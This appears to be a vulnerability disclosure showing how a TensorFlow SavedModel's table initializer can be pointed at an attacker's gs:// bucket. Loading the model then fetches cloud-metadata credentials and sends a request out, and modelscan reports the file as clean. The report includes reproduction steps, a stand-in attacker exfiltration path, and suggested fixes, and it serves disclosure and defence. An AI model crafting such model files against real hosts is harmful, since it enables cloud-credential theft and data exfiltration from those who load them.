Load-time SSRF / cloud-metadata exfil via a TensorFlow SavedModel table initializer
Target format: TensorFlow SavedModel (.pb) — category load-time-ssrfVerified with: tensorflow 2.21.0, keras 3.15.0, protectai/modelscan 0.8.8 (default settings)
Impact: Merely calling tf.saved_model.load() on the file makes the loading process issue an
attacker-controlled outbound network request — to an attacker-named Google Cloud Storage bucket
and to the GCE cloud-metadata server (metadata.google.internal / 169.254.169.254) to fetch
the host's credentials. No inference / no served-function call is required. modelscan reports the
file as clean.
Why this is a load-time network sink (not RCE, not a backdoor)
A StaticHashTable built from a tf.lookup.TextFileInitializer stores its vocabulary filename
in the graph. When the SavedModel is restored, TensorFlow re-runs the table initializer at load
time (before any inference) so the table is populated — this executes
InitializeTableFromTextFileV2, which opens the filename through tensorflow::gfile.
gfile in the stock pip tensorflow wheel implements the gs:// scheme via a compiled GCS
filesystem (libcurl). Opening a gs://<bucket>/<object> path therefore:
contacts metadata.google.internal (the GCE metadata server) to obtain an OAuth token
(SSRF to 169.254.169.254 — cloud-credential theft on any GCE/GKE/Vertex host), then
issues an HTTPS request to storage.googleapis.com/<attacker-bucket>/<attacker-object>
(attacker fully controls bucket + object = beacon / data-exfil channel).
Both requests fire purely from loading the model. The bucket/object string is the only
attacker input and it is plain data (a string constant), so no code-execution op is present.
The crafted file
sm_evil_gs/ is a normal-looking SavedModel with one lookup table. Its initializer filename was
set to:
gs://attacker-bucket-pwn.example.com/exfil/loot
craft_gs.py shows exactly how the file is produced: build an ordinary table-model
(build_localfile.py), then rewrite the initializer's filename input in saved_model.pb to the
gs:// constant (bypassing TF's asset-tracking, which would otherwise localise a vocab path).
Reproduce
bash
1pip install tensorflow keras modelscan
23# 1) modelscan says the malicious model is clean4modelscan -p sm_evil_gs # -> "No issues found!"56# 2) prove the outbound request fires at LOAD (no inference).7# Build a connect(2) redirect shim so we can see/capture the egress locally:8gcc -shared -fPIC -o connect_redirect.so connect_redirect.c -ldl
9python listener.py 8888&# local capture endpoint10REDIR_PORT=8888LD_PRELOAD=./connect_redirect.so \11 python load_only.py sm_evil_gs # loads only; never calls the model
Observed during load (see EVIDENCE.txt for verbatim capture):
TF google_auth_provider tries metadata.google.internal for a bearer token,
connect(2) to a storage.googleapis.com IP (…:443) is intercepted,
the local listener captures the TLS ClientHello whose SNI = storage.googleapis.com,
the process never reaches the post-load marker (the fetch of the attacker object retries).
Negative control — the benign local-vocab model makes no outbound connection:
bash
1REDIR_PORT=8888LD_PRELOAD=./connect_redirect.so python load_only.py sm_localfile
2# >>> BEGIN load / >>> END load ; connect shim log empty
Root cause / fix
Loader side (TensorFlow): resource/table initializers run at load and may dereference remote
(gs://, and where compiled s3:///hdfs://) URIs with no opt-in — a model file should not be
able to drive network egress or cloud-credential fetches simply by being loaded.
Scanner side (modelscan): unsafe_tf_operators only denylists ReadFile/WriteFile, so the
network/table-initializer op family is invisible. (Same allowlist gap noted for the file-I/O op
class; here it is exercised as a load-time network/cloud-metadata primitive.)
Distinctness note
Shares the modelscan op-allowlist root cause with the file-I/O op-coverage class, but the primitive
here is outbound network / GCS + GCE-metadata credential exfil that fires at saved_model.load
before any inference — a different impact class and trigger point from local file read/write/enum
executed at serve time.